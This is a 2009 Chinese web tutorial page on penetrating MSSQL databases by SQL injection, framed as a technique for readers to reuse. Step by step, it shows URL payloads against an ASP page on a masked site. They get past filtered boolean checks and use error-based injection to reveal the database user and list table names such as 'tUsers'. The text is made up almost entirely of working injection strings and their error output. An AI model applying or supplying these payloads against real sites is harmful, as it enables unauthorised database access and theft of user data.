当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 灵活地运用SQL Injection做数据库渗透

安全基础
正常关机后光电鼠标仍发光怎么解决
金山安全反病毒专家教你认识和安装系统补丁
微软IE团队成员揭秘中国网银不兼容非IE浏览器的原因
防火墙端口扫描和路径追踪设置防黑客入侵
压缩包里的压缩文件加上缩略图的方法
拒绝修改exe文件关联随EXE程序启动的木马
保护硬盘隐私数据防止黑客窃取的操作小方法
开机按F1故障怎么解决(新手学电脑)
实用技巧:自定义软件安装的默认路径
快速打开控制面板中的某一项目
避免网购被骗 揭秘网络钓鱼的9种骗术
删不掉文件的原因和辅助删除的软件工具
隐藏的系统克隆帐户全了解
剖析DDOS攻击的原理 提供解决方法
360安全卫士完美帮你系统打补丁
桌面多出几个IE图标有的不能删除怎么办
加载*dll出错,系统找不到指定的模块
如何揪出并根除Windows系统启动项
菜鸟防止黑客攻击的10个系统设置方法
新手学电脑:宽带拨号的设置方法

安全基础 中的 灵活地运用SQL Injection做数据库渗透


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 39 ::
收藏到网摘: n/a

    对于很多的MSSQL数据库,要进行注入需要灵活的技巧与思路,就有如在第一篇文章里所提到的逻辑判断法。 有时候,一个注入点的判断不是单纯靠and 1=1和and 1=2的,就有如这网站:

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25

加个" ' "符号在后面,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'

出错信息如下,

Unclosed quotation mark before the character string 'M10-25''

好,应该是注入点了,再试and 1=1,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20'1'='1

是正常画面,再试and 1=2,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20'1'='2

还是正常画面,看来是逻辑判断被过滤了,是不是不能注入了呢?然而,逻辑判断能被过滤,执行错误可不能被过滤。在unclosed quotation mark的前提下,我们先让它出错,然后再加个逻辑判断给它过滤和关掉那个" ' "符号。好,思路是这样,就提交这样的语句:

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20user>0%20and%20'1'='1

出错信息如下,

Syntax error converting the nvarchar value 'dbo' to a column of data type int

看到吧,成功了。所以下次当逻辑判断被过滤了,就利用它再结合执行错误来进行注入好了。
再试这语句,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20(select%20top%201%20name%20from%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype='U'%20order%20by%20name%20desc)%20a%20order%20by%20name)>0%20and%20'1'='1

出错信息是,

Syntax error converting the nvarchar value 'tUsers' to a column of data type int

好,第一个表名是'tUsers'

再来,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20(select%20top%201%20name%20from%20(select%20top%202%20name%20from%20sysobjects%20where%20xtype='U'%20order%20by%20name%20desc)%20a%20order%20by%20name)>0%20and%20'1'='1

这次的出错信息是,

Syntax error converting the nvarchar value 'tTechnical' to a column of data type int

第二个表名是'tTechnical'

好了,就试到这里为止。共勉之。